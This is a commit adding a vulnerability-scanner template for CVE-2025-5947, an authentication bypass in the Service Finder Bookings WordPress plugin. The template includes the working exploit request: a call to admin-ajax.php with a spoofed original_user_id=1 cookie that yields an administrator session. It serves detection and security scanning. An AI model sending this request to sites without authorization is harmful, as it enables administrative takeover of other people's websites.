feat(cves): add CVE-2025-5947 - Service Finder Bookings Auth Bypass

http/cves/2025/CVE-2025-5947.yaml

@@ -0,0 +1,81 @@
+id: CVE-2025-5947
+
+info:
+  name: Service Finder Bookings Plugin <= 6.0 - Authentication Bypass via Cookie Spoofing
+  author: sedat4ras
+  severity: critical
+  description: |
+    The Service Finder Bookings plugin for WordPress is vulnerable to authentication bypass
+    in all versions up to, and including, 6.0. The service_finder_switch_back() function
+    does not properly validate the original_user_id cookie before switching user context,
+    allowing unauthenticated attackers to gain administrative access by setting the cookie
+    to any valid user ID.
+  impact: |
+    Unauthenticated attackers can gain full administrative access to the WordPress site
+    by spoofing the original_user_id cookie, enabling complete account takeover and
+    site compromise. Over 13,800 exploitation attempts were recorded by Wordfence within
+    hours of public disclosure.
+  remediation: |
+    Upgrade the Service Finder Bookings plugin to version 6.1 or later.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-5947
+    - https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-bookings-plugin-6-0-authentication-bypass-via-user-switch-cookie-vulnerability
+    - https://github.com/advisories/GHSA-x2xx-4qhp-2vqx
+    - https://github.com/M4rgs/CVE-2025-5947_Exploit
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2025-5947
+    cwe-id: CWE-639
+    cpe: cpe:2.3:a:sf-booking:service_finder_bookings:*:*:*:*:*:wordpress:*:*
+  metadata:
+    max-request: 2
+    vendor: sf-booking
+    product: service-finder-bookings
+    publicwww-query: "/wp-content/plugins/sf-booking/"
+  tags: cve,cve2025,wordpress,wp-plugin,wp,sf-booking,auth-bypass,cookie-spoofing,vuln
+
+flow: http(1) && http(2)
+
+http:
+  - id: plugin-check
+    method: GET
+    path:
+      - "{{BaseURL}}/wp-content/plugins/sf-booking/readme.txt"
+
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "Service Finder"
+        internal: true
+
+  - id: exploit-check
+    raw:
+      - |
+        GET /wp-admin/admin-ajax.php?action=service_finder_switch_back HTTP/1.1
+        Host: {{Hostname}}
+        Cookie: original_user_id=1
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 301
+          - 302
+
+      - type: regex
+        part: header
+        regex:
+          - '(?i)Location:.*\/wp-admin\/'
+
+      - type: regex
+        part: header
+        regex:
+          - '(?i)Set-Cookie:.*wordpress_logged_in_'
+
+    extractors:
+      - type: kval
+        part: header
+        kval:
+          - location